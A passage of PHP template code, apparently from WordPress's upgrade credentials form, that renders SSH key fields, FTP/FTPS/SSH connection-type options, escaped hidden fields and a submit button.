'ssh' != $connection_type ) echo 'display:none' ?>"> <th scope="row"><?php _e('Authentication Keys') ?> <div class="key-labels textright"> <label for="public_key"><?php _e('Public Key:') ?></label ><br /> <label for="private_key"><?php _e('Private Key:') ?></label> </div></th> <td><br /><input name="public_key" type="text" id="public_key" value=""<?php if( defined('FTP_PUBKEY') ) echo ' disabled="disabled"' ?> size="40" /><br /><input name="private_key" type="text" id="private_key" value=""<?php if( defined('FTP_PRIKEY') ) echo ' disabled="disabled"' ?> size="40" /> <div><?php _e('Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above.') ?></div></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Connection Type') ?></th> <td> <fieldset><legend class="hidden"><?php _e('Connection Type') ?></legend> <label><input id="ftp" name="connection_type" type="radio" value="ftp" <?php checked('ftp', $connection_type); if ( defined('FTP_SSL') || defined('FTP_SSH') ) echo ' disabled="disabled"'; ?>/> <?php _e('FTP') ?></label><br /> <label><input id="ftps" name="connection_type" type="radio" value="ftps" <?php checked('ftps', $connection_type); if ( defined('FTP_SSH') || defined('FTP_SSH') ) echo ' disabled="disabled"'; ?>/> <?php _e('FTPS (SSL)') ?></label><br /> <?php if ( extension_loaded('ssh2') ) { ?><label><input id="ssh" name="connection_type" type="radio" value="ssh" <?php checked('ssh', $connection_type); if ( defined('FTP_SSL') || defined('FTP_SSH') ) echo ' disabled="disabled"'; ?>/> <?php _e('SSH') ?></label><?php } ?> </fieldset> </td> </tr> </table> <?php if ( isset( $_POST['version'] ) ) : ?> <input type="hidden" name="version" value="<?php echo attribute_escape($_POST['version']) ?>" /> <?php endif; ?> <?php if ( isset( $_POST['locale'] ) ) : ?> <input type="hidden" name="locale" value="<?php echo attribute_escape($_POST['locale']) ?>" /> <?php endif; ?> <p class="submit"> <input id="upgrade" name="upgrade" type="submit" class="button" value="<?php _e('Proceed'); ?>" /> </p> </div> </form> <?php return false; } ?>